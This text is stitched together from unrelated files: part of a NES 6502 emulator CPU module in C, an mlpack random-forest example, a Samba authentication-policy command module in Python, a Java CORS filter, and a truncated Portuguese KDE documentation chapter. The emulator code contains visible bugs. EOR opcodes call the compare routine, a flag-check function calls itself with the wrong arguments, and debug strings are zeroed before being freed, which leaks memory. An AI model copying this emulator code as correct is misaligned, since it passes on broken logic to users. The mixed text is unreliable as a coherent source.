NES_CPU_INSTR_DEC_ABS: nes_cpu_instr_dec(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_DEC_ABS_X: nes_cpu_instr_dec(cpu); cpu->current_instr.result.cycles = 7; break; case NES_CPU_INSTR_DEX_IMP: nes_cpu_instr_dex(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_DEY_IMP: nes_cpu_instr_dey(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_EOR_IMM: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_EOR_ZP: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_EOR_ZP_X: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_EOR_ABS: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_EOR_ABS_X: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_EOR_ABS_Y: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_EOR_IND_X: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_EOR_IND_Y: nes_cpu_instr_cmp(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_INC_ZP: nes_cpu_instr_inc(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_INC_ZP_X: nes_cpu_instr_inc(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_INC_ABS: nes_cpu_instr_inc(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_INC_ABS_X: nes_cpu_instr_inc(cpu); cpu->current_instr.result.cycles = 7; break; case NES_CPU_INSTR_INX_IMP: nes_cpu_instr_inx(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_INY_IMP: nes_cpu_instr_iny(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_JMP_ABS: nes_cpu_instr_jmp(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_JMP_IND: nes_cpu_instr_jmp(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_JSR_ABS: nes_cpu_instr_jsr(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_LDA_IMM: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_LDA_ZP: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_LDA_ZP_X: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDA_ABS: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDA_ABS_X: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDA_ABS_Y: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDA_IND_X: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_LDA_IND_Y: nes_cpu_instr_lda(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_LDX_IMM: nes_cpu_instr_ldx(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_LDX_ZP: nes_cpu_instr_ldx(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_LDX_ZP_Y: nes_cpu_instr_ldx(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDX_ABS: nes_cpu_instr_ldx(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDX_ABS_Y: nes_cpu_instr_ldx(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDY_IMM: nes_cpu_instr_ldy(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_LDY_ZP: nes_cpu_instr_ldy(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_LDY_ZP_X: nes_cpu_instr_ldy(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDY_ABS: nes_cpu_instr_ldy(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LDY_ABS_X: nes_cpu_instr_ldy(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_LSR_ACC: nes_cpu_instr_lsr(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_LSR_ZP: nes_cpu_instr_lsr(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_LSR_ZP_X: nes_cpu_instr_lsr(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_LSR_ABS: nes_cpu_instr_lsr(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_LSR_ABS_X: nes_cpu_instr_lsr(cpu); cpu->current_instr.result.cycles = 7; break; case NES_CPU_INSTR_NOP_IMP: nes_cpu_instr_nop(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_ORA_IMM: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_ORA_ZP: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_ORA_ZP_X: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ORA_ABS: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ORA_ABS_X: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ORA_ABS_Y: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ORA_IND_X: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ORA_IND_Y: nes_cpu_instr_ora(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_PHP_IMP: nes_cpu_instr_php(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_PLA_IMP: nes_cpu_instr_pla(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_PLP_IMP: nes_cpu_instr_plp(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_ROL_ACC: nes_cpu_instr_rol(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_ROL_ZP: nes_cpu_instr_rol(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_ROL_ZP_X: nes_cpu_instr_rol(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ROL_ABS: nes_cpu_instr_rol(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ROL_ABS_X: nes_cpu_instr_rol(cpu); cpu->current_instr.result.cycles = 7; break; case NES_CPU_INSTR_ROR_ACC: nes_cpu_instr_ror(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_ROR_ZP: nes_cpu_instr_ror(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_ROR_ZP_X: nes_cpu_instr_ror(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ROR_ABS: nes_cpu_instr_ror(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_ROR_ABS_X: nes_cpu_instr_ror(cpu); cpu->current_instr.result.cycles = 7; break; case NES_CPU_INSTR_RTI_IMP: nes_cpu_instr_rti(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_RTS_IMP: nes_cpu_instr_rts(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_SBC_IMM: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_SBC_ZP: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_SBC_ZP_X: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_SBC_ABS: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_SBC_ABS_X: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_SBC_ABS_Y: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_SBC_IND_X: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_SBC_IND_Y: nes_cpu_instr_sbc(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_SEC_IMP: nes_cpu_instr_sec(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_SED_IMP: nes_cpu_instr_sed(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_SEI_IMP: nes_cpu_instr_sei(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_STA_ZP: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_STA_ZP_X: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_STA_ABS: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_STA_ABS_X: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_STA_ABS_Y: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 5; break; case NES_CPU_INSTR_STA_IND_X: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_STA_IND_Y: nes_cpu_instr_sta(cpu); cpu->current_instr.result.cycles = 6; break; case NES_CPU_INSTR_STX_ZP: nes_cpu_instr_stx(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_STX_ZP_Y: nes_cpu_instr_stx(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_STX_ABS: nes_cpu_instr_stx(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_STY_ZP: nes_cpu_instr_sty(cpu); cpu->current_instr.result.cycles = 3; break; case NES_CPU_INSTR_STY_ZP_X: nes_cpu_instr_sty(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_STY_ABS: nes_cpu_instr_sty(cpu); cpu->current_instr.result.cycles = 4; break; case NES_CPU_INSTR_TAX_IMP: nes_cpu_instr_tax(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_TAY_IMP: nes_cpu_instr_tay(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_TSX_IMP: nes_cpu_instr_tsx(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_TXA_IMP: nes_cpu_instr_txa(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_TXS_IMP: nes_cpu_instr_txs(cpu); cpu->current_instr.result.cycles = 2; break; case NES_CPU_INSTR_TYA_IMP: nes_cpu_instr_tya(cpu); cpu->current_instr.result.cycles = 2; break; //default assume NOP default: nes_cpu_instr_nop(cpu); break; } //if we crossed a page boundary (aka an indexed operation toggled a bit in the MSB) //we add one cycle if (cpu->current_instr.result.page_boundary_crossed) { ++cpu->current_instr.result.cycles; } //add any cycles from branches //if a branch didn't orrur, it will just be 0 cpu->current_instr.result.cycles += cpu->current_instr.result.branch_cycles; sprintf(cpu->debug_info.cyc_str, "CYC: %d",cpu->current_instr.result.cycles); } internal void nes_cpu_flag_check(NesCpu* cpu) { //check the flags if (cpu->current_instr.result.flag_c) { nes_cpu_flag_check(cpu,NES_CPU_FLAG_C); } if (cpu->current_instr.result.flag_z) { nes_cpu_flag_check(cpu,NES_CPU_FLAG_Z); } if (cpu->current_instr.result.flag_b) { nes_cpu_flag_check(cpu,NES_CPU_FLAG_B); } if (cpu->current_instr.result.flag_v) { nes_cpu_flag_check(cpu,NES_CPU_FLAG_V); } if (cpu->current_instr.result.flag_n) { nes_cpu_flag_check(cpu,NES_CPU_FLAG_N); } } internal void nes_cpu_create_and_intialize_debug_info(NesCpu* cpu) { cpu->debug_info.pc_str = (char*)malloc(sizeof(char) * 10); cpu->debug_info.acc_str = (char*)malloc(sizeof(char) * 8); cpu->debug_info.sp_str = (char*)malloc(sizeof(char) * 14); cpu->debug_info.op_code_str = (char*)malloc(sizeof(char) * 10); cpu->debug_info.ind_x_str = (char*)malloc(sizeof(char) * 10); cpu->debug_info.ind_y_str = (char*)malloc(sizeof(char) * 10); cpu->debug_info.pc_p0_val_str = (char*)malloc(sizeof(char) * 8); cpu->debug_info.pc_p1_val_str = (char*)malloc(sizeof(char) * 8); cpu->debug_info.pc_p2_val_str = (char*)malloc(sizeof(char) * 8); cpu->debug_info.addr_mode_str = (char*)malloc(sizeof(char) * 20); cpu->debug_info.cyc_str = (char*)malloc(sizeof(char) * 10); cpu->debug_info.debug_str = (char*)malloc(sizeof(char) * 256); } internal void nes_cpu_destroy_and_free_debug_info(NesCpu* cpu) { cpu->debug_info = {0}; free(cpu->debug_info.pc_str); free(cpu->debug_info.acc_str); free(cpu->debug_info.sp_str); free(cpu->debug_info.op_code_str); free(cpu->debug_info.ind_x_str); free(cpu->debug_info.ind_y_str); free(cpu->debug_info.pc_p0_val_str); free(cpu->debug_info.pc_p1_val_str); free(cpu->debug_info.pc_p2_val_str); free(cpu->debug_info.cyc_str); free(cpu->debug_info.debug_str); } internal void nes_cpu_log_register_values(NesCpu* cpu) { sprintf(cpu->debug_info.pc_p0_val_str, "PC+0: %02X",nes_memory_map_read(&cpu->mem_map,cpu->registers.pc)); sprintf(cpu->debug_info.pc_str, "PC: $%04X",cpu->registers.pc); sprintf(cpu->debug_info.pc_p1_val_str, "PC+1: --"); sprintf(cpu->debug_info.pc_p2_val_str, "PC+2: --"); sprintf(cpu->debug_info.acc_str, "ACC: %02X",cpu->registers.acc_a); sprintf(cpu->debug_info.sp_str, "SP: $%02X -> %02X",cpu->registers.sp, nes_memory_map_read(&cpu->mem_map,cpu->registers.sp)); sprintf(cpu->debug_info.ind_x_str, "IND X: %02X",cpu->registers.ir_x); sprintf(cpu->debug_info.ind_y_str, "IND Y: %02X",cpu->registers.ir_y); } internal void nes_cpu_log_debug_info(NesCpu* cpu) { sprintf(cpu->debug_info.debug_str, " %s | %s | %s | %s | %s | %s | %s | %s | %s | %s | %s ", cpu->debug_info.pc_str, cpu->debug_info.pc_p0_val_str, cpu->debug_info.pc_p1_val_str, cpu->debug_info.pc_p2_val_str, cpu->debug_info.op_code_str, cpu->debug_info.addr_mode_str, cpu->debug_info.cyc_str, cpu->debug_info.acc_str, cpu->debug_info.ind_x_str, cpu->debug_info.ind_y_str, cpu->debug_info.sp_str); } internal void nes_cpu_tick(NesCpu* cpu) { nes_cpu_destroy_and_free_debug_info(cpu); nes_cpu_create_and_intialize_debug_info(cpu); nes_cpu_log_register_values(cpu); //set the previous instruction and clear current instruction cpu->previous_instr = cpu->current_instr; cpu->current_instr = {0}; //get the instruction cpu->current_instr.op_code = nes_cpu_program_read(cpu); //decode the address mode nes_cpu_addr_mode_decode_from_instr(cpu); //decode the operand address from the address mode nes_cpu_decode_operand_address_from_address_mode(cpu); //execute the instruction nes_cpu_instr_execute(cpu); //check the flags affected by the result nes_cpu_flag_check(cpu); nes_cpu_log_debug_info(cpu); } internal NesCpu nes_cpu_create_and_initialize() { NesCpu cpu = {0}; //todo - create constant cpu.registers.sp = 0xFD; return cpu; }
// Define these to print extra informational output and warnings. #define MLPACK_PRINT_INFO #define MLPACK_PRINT_WARN #include <mlpack.hpp> using namespace arma; using namespace mlpack; using namespace mlpack::tree; using namespace std; int main() { // Load the datasets. mat dataset; Row<size_t> labels; if (!data::Load("covertype-small.data.csv", dataset)) throw std::runtime_error("Could not read covertype-small.data.csv!"); if (!data::Load("covertype-small.labels.csv", labels)) throw std::runtime_error("Could not read covertype-small.labels.csv!"); // Labels are 1-7, but we want 0-6 (we are 0-indexed in C++). labels -= 1; // Now split the dataset into a training set and test set, using 30% of the // dataset for the test set. mat trainDataset, testDataset; Row<size_t> trainLabels, testLabels; data::Split(dataset, labels, trainDataset, testDataset, trainLabels, testLabels, 0.3); // Create the RandomForest object and train it on the training data. RandomForest<> r(trainDataset, trainLabels, 7 /* number of classes */, 10 /* number of trees */, 3 /* minimum leaf size */); // Compute and print the training error. Row<size_t> trainPredictions; r.Classify(trainDataset, trainPredictions); const double trainError = arma::accu(trainPredictions != trainLabels) * 100.0 / trainLabels.n_elem; cout << "Training error: " << trainError << "%." << endl; // Now compute predictions on the test points. Row<size_t> testPredictions; r.Classify(testDataset, testPredictions); const double testError = arma::accu(testPredictions != testLabels) * 100.0 / testLabels.n_elem; cout << "Test error: " << testError << "%." << endl; }
# Unix SMB/CIFS implementation. # # authentication silos - authentication policy management # # Copyright (C) Catalyst.Net Ltd. 2023 # # Written by Rob van der Linde <rob@catalyst.net.nz> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # import samba.getopt as options from samba.netcmd import Command, CommandError, Option, SuperCommand from samba.netcmd.domain.models import AuthenticationPolicy from samba.netcmd.domain.models.auth_policy import MIN_TGT_LIFETIME,\ MAX_TGT_LIFETIME, StrongNTLMPolicy from samba.netcmd.domain.models.exceptions import ModelError from samba.netcmd.validators import Range class cmd_domain_auth_policy_list(Command): """List authentication policies on the domain.""" synopsis = "%prog -H <URL> [options]" takes_optiongroups = { "sambaopts": options.SambaOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option("-H", "--URL", help="LDB URL for database or target server.", type=str, metavar="URL", dest="ldap_url"), Option("--json", help="Output results in JSON format.", dest="output_format", action="store_const", const="json"), ] def run(self, ldap_url=None, sambaopts=None, credopts=None, output_format=None): ldb = self.ldb_connect(ldap_url, sambaopts, credopts) # Authentication policies grouped by cn. try: policies = {policy.cn: policy.as_dict() for policy in AuthenticationPolicy.query(ldb)} except ModelError as e: raise CommandError(e) # Using json output format gives more detail. if output_format == "json": self.print_json(policies) else: for policy in policies.keys(): self.outf.write(f"{policy}\n") class cmd_domain_auth_policy_view(Command): """View an authentication policy on the domain.""" synopsis = "%prog -H <URL> [options]" takes_optiongroups = { "sambaopts": options.SambaOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option("-H", "--URL", help="LDB URL for database or target server.", type=str, metavar="URL", dest="ldap_url"), Option("--name", help="Name of authentication policy to view (required).", dest="name", action="store", type=str), ] def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None): if not name: raise CommandError("Argument --name is required.") ldb = self.ldb_connect(ldap_url, sambaopts, credopts) try: policy = AuthenticationPolicy.get(ldb, cn=name) except ModelError as e: raise CommandError(e) # Check if authentication policy exists first. if policy is None: raise CommandError(f"Authentication policy {name} not found.") # Display policy as JSON. self.print_json(policy.as_dict()) class cmd_domain_auth_policy_create(Command): """Create an authentication policy on the domain.""" synopsis = "%prog -H <URL> [options]" takes_optiongroups = { "sambaopts": options.SambaOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option("-H", "--URL", help="LDB URL for database or target server.", type=str, metavar="URL", dest="ldap_url"), Option("--name", help="Name of authentication policy (required).", dest="name", action="store", type=str), Option("--description", help="Optional description for authentication policy.", dest="description", action="store", type=str), Option("--protect", help="Protect authentication silo from accidental deletion.", dest="protect", action="store_true"), Option("--unprotect", help="Unprotect authentication silo from accidental deletion.", dest="unprotect", action="store_true"), Option("--audit", help="Only audit authentication policy.", dest="audit", action="store_true"), Option("--enforce", help="Enforce authentication policy.", dest="enforce", action="store_true"), Option("--strong-ntlm-policy", help=f"Strong NTLM Policy ({StrongNTLMPolicy.choices_str()}).", dest="strong_ntlm_policy", type="choice", action="store", choices=StrongNTLMPolicy.get_choices(), default="Disabled"), Option("--user-tgt-lifetime", help="Ticket-Granting-Ticket lifetime for user accounts.", dest="user_tgt_lifetime", type=int, action="store", validators=[Range(min=MIN_TGT_LIFETIME, max=MAX_TGT_LIFETIME)]), Option("--user-allow-ntlm-auth", help="Allow NTLM network authentication when user " "is restricted to selected devices.", dest="user_allow_ntlm_auth", action="store_true", default=False), Option("--service-tgt-lifetime", help="Ticket-Granting-Ticket lifetime for service accounts.", dest="service_tgt_lifetime", type=int, action="store", validators=[Range(min=MIN_TGT_LIFETIME, max=MAX_TGT_LIFETIME)]), Option("--service-allow-ntlm-auth", help="Allow NTLM network authentication when service " "is restricted to selected devices.", dest="service_allow_ntlm_auth", action="store_true", default=False), Option("--computer-tgt-lifetime", help="Ticket-Granting-Ticket lifetime for computer accounts.", dest="computer_tgt_lifetime", type=int, action="store", validators=[Range(min=MIN_TGT_LIFETIME, max=MAX_TGT_LIFETIME)]), ] def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None, description=None, protect=None, unprotect=None, audit=None, enforce=None, strong_ntlm_policy=None, user_tgt_lifetime=None, user_allow_ntlm_auth=None, service_tgt_lifetime=None, service_allow_ntlm_auth=None, computer_tgt_lifetime=None): if not name: raise CommandError("Argument --name is required.") if protect and unprotect: raise CommandError("--protect and --unprotect cannot be used together.") if audit and enforce: raise CommandError("--audit and --enforce cannot be used together.") ldb = self.ldb_connect(ldap_url, sambaopts, credopts) try: policy = AuthenticationPolicy.get(ldb, cn=name) except ModelError as e: raise CommandError(e) # Make sure authentication policy doesn't already exist. if policy is not None: raise CommandError(f"Authentication policy {name} already exists.") # New policy object. policy = AuthenticationPolicy( cn=name, description=description, strong_ntlm_policy=StrongNTLMPolicy[strong_ntlm_policy.upper()], user_allow_ntlm_auth=user_allow_ntlm_auth, user_tgt_lifetime=user_tgt_lifetime, service_allow_ntlm_auth=service_allow_ntlm_auth, service_tgt_lifetime=service_tgt_lifetime, computer_tgt_lifetime=computer_tgt_lifetime, ) # Either --enforce will be set or --audit but never both. # The default if both are missing is enforce=True. if enforce is not None: policy.enforced = enforce else: policy.enforced = not audit # Create policy. try: policy.save(ldb) if protect: policy.protect(ldb) except ModelError as e: raise CommandError(e) # Authentication policy created successfully. self.outf.write(f"Created authentication policy: {name}\n") class cmd_domain_auth_policy_modify(Command): """Modify authentication policies on the domain.""" synopsis = "%prog -H <URL> [options]" takes_optiongroups = { "sambaopts": options.SambaOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option("-H", "--URL", help="LDB URL for database or target server.", type=str, metavar="URL", dest="ldap_url"), Option("--name", help="Name of authentication policy (required).", dest="name", action="store", type=str), Option("--description", help="Optional description for authentication policy.", dest="description", action="store", type=str), Option("--protect", help="Protect authentication silo from accidental deletion.", dest="protect", action="store_true"), Option("--unprotect", help="Unprotect authentication silo from accidental deletion.", dest="unprotect", action="store_true"), Option("--audit", help="Only audit authentication policy.", dest="audit", action="store_true"), Option("--enforce", help="Enforce authentication policy.", dest="enforce", action="store_true"), Option("--strong-ntlm-policy", help=f"Strong NTLM Policy ({StrongNTLMPolicy.choices_str()}).", dest="strong_ntlm_policy", type="choice", action="store", choices=StrongNTLMPolicy.get_choices()), Option("--user-tgt-lifetime", help="Ticket-Granting-Ticket lifetime for user accounts.", dest="user_tgt_lifetime", type=int, action="store", validators=[Range(min=MIN_TGT_LIFETIME, max=MAX_TGT_LIFETIME)]), Option("--user-allow-ntlm-auth", help="Allow NTLM network authentication when user " "is restricted to selected devices.", dest="user_allow_ntlm_auth", action="store_true", default=False), Option("--service-tgt-lifetime", help="Ticket-Granting-Ticket lifetime for service accounts.", dest="service_tgt_lifetime", type=int, action="store", validators=[Range(min=MIN_TGT_LIFETIME, max=MAX_TGT_LIFETIME)]), Option("--service-allow-ntlm-auth", help="Allow NTLM network authentication when service " "is restricted to selected devices.", dest="service_allow_ntlm_auth", action="store_true", default=False), Option("--computer-tgt-lifetime", help="Ticket-Granting-Ticket lifetime for computer accounts.", dest="computer_tgt_lifetime", type=int, action="store", validators=[Range(min=MIN_TGT_LIFETIME, max=MAX_TGT_LIFETIME)]), ] def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None, description=None, protect=None, unprotect=None, audit=None, enforce=None, strong_ntlm_policy=None, user_tgt_lifetime=None, user_allow_ntlm_auth=None, service_tgt_lifetime=None, service_allow_ntlm_auth=None, computer_tgt_lifetime=None): if not name: raise CommandError("Argument --name is required.") if protect and unprotect: raise CommandError("--protect and --unprotect cannot be used together.") if audit and enforce: raise CommandError("--audit and --enforce cannot be used together.") ldb = self.ldb_connect(ldap_url, sambaopts, credopts) try: policy = AuthenticationPolicy.get(ldb, cn=name) except ModelError as e: raise CommandError(e) # Check if authentication policy exists. if policy is None: raise CommandError(f"Authentication policy {name} not found.") # Either --enforce will be set or --audit but never both. if enforce: policy.enforced = True elif audit: policy.enforced = False # Update the description. if description is not None: policy.description = description # User sign on ############### if strong_ntlm_policy is not None: policy.strong_ntlm_policy = \ StrongNTLMPolicy[strong_ntlm_policy.upper()] if user_tgt_lifetime is not None: policy.user_tgt_lifetime = user_tgt_lifetime # Service sign on ################## if service_tgt_lifetime is not None: policy.service_tgt_lifetime = service_tgt_lifetime # Computer ########### if computer_tgt_lifetime is not None: policy.computer_tgt_lifetime = computer_tgt_lifetime # Update policy. try: policy.save(ldb) if protect: policy.protect(ldb) elif unprotect: policy.unprotect(ldb) except ModelError as e: raise CommandError(e) # Authentication policy updated successfully. self.outf.write(f"Updated authentication policy: {name}\n") class cmd_domain_auth_policy_delete(Command): """Delete authentication policies on the domain.""" synopsis = "%prog -H <URL> [options]" takes_optiongroups = { "sambaopts": options.SambaOptions, "credopts": options.CredentialsOptions, } takes_options = [ Option("-H", "--URL", help="LDB URL for database or target server.", type=str, metavar="URL", dest="ldap_url"), Option("--name", help="Name of authentication policy (required).", dest="name", action="store", type=str), Option("--force", help="Force delete protected authentication policy.", dest="force", action="store_true") ] def run(self, ldap_url=None, sambaopts=None, credopts=None, name=None, force=None): if not name: raise CommandError("Argument --name is required.") ldb = self.ldb_connect(ldap_url, sambaopts, credopts) try: policy = AuthenticationPolicy.get(ldb, cn=name) except ModelError as e: raise CommandError(e) # Check if authentication policy exists first. if policy is None: raise CommandError(f"Authentication policy {name} not found.") # Delete item, --force removes delete protection first. try: if force: policy.unprotect(ldb) policy.delete(ldb) except ModelError as e: if not force: raise CommandError( f"{e}\nTry --force to delete protected authentication policies.") else: raise CommandError(e) # Authentication policy deleted successfully. self.outf.write(f"Deleted authentication policy: {name}\n") class cmd_domain_auth_policy(SuperCommand): """Manage authentication policies on the domain.""" subcommands = { "list": cmd_domain_auth_policy_list(), "view": cmd_domain_auth_policy_view(), "create": cmd_domain_auth_policy_create(), "modify": cmd_domain_auth_policy_modify(), "delete": cmd_domain_auth_policy_delete(), }
package com.evaluateyourself.utils; import java.io.IOException; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.filter.OncePerRequestFilter; /** * <code> * <filter> * <filter-name>cors</filter-name> * <filter-class>com.evaluateyourself.utils.CORSFilter</filter-class> * </filter> * * <filter-mapping> * <filter-name>cors</filter-name> * <url-pattern>/*</url-pattern> * </filter-mapping> * </code> */ public class CORSFilter extends OncePerRequestFilter { @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { response.setHeader("Access-Control-Allow-Origin", "*"); if (request.getHeader("Access-Control-Request-Method") != null && "OPTIONS".equals(request.getMethod())) { response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE"); response.addHeader("Access-Control-Allow-Headers", "Content-Type"); response.addHeader("Access-Control-Allow-Headers", "access-control-allow-origin"); response.setHeader("Access-Control-Max-Age", "1"); } filterChain.doFilter(request, response); } }
<chapter id="configure"> <chapterinfo> <authorgroup> <author ><firstname >Pamela</firstname > <surname >Robert</surname > <affiliation > <address ><email >pamroberts@blueyonder.co.uk</email ></address> </affiliation> </author> <othercredit role="translator" ><firstname >Pedro</firstname ><surname >Morais</surname ><affiliation ><address ><email >morais@kde.org</email ></address ></affiliation ><contrib >Tradução</contrib ></othercredit > </authorgroup> </chapterinfo > <title >Configurar os Atalhos e Barras de Ferramentas do &sheets;</title> <sect1 id="configshort"> <title >Atalhos</title> <para >Para mudar as teclas de atalho utilizadas pelo &sheets; escolha <menuchoice ><guimenu >Configuração</guimenu ><guimenuitem >Configurar os Atalhos... </guimenuitem ></menuchoice >. Isto irá fazer aparecer uma janela como a mostrada em baixo. </para> <mediaobject> <imageobject> <imagedata fileref="shortcut1.png" format="PNG"/> </imageobject> <textobject> <phrase >Imagem 1 da configuração do atalho</phrase> </textobject> </mediaobject> <para >Procure na lista a acção a que deseja adicionar ou alterar os atalhos e seleccione-a carregando com o botão <mousebutton >esquerdo</mousebutton > do rato no seu nome. Ao indicar o nome da acção na barra de procura no topo, poderá encontrar rapidamente a acção desejada. Pode agora alterar o atalho escolhendo a opção <guilabel >Nenhum</guilabel >, <guilabel >Predefinido</guilabel > ou <guilabel >Personalizado</guilabel >.</para> <para >Poderá agora simplesmente carregar na 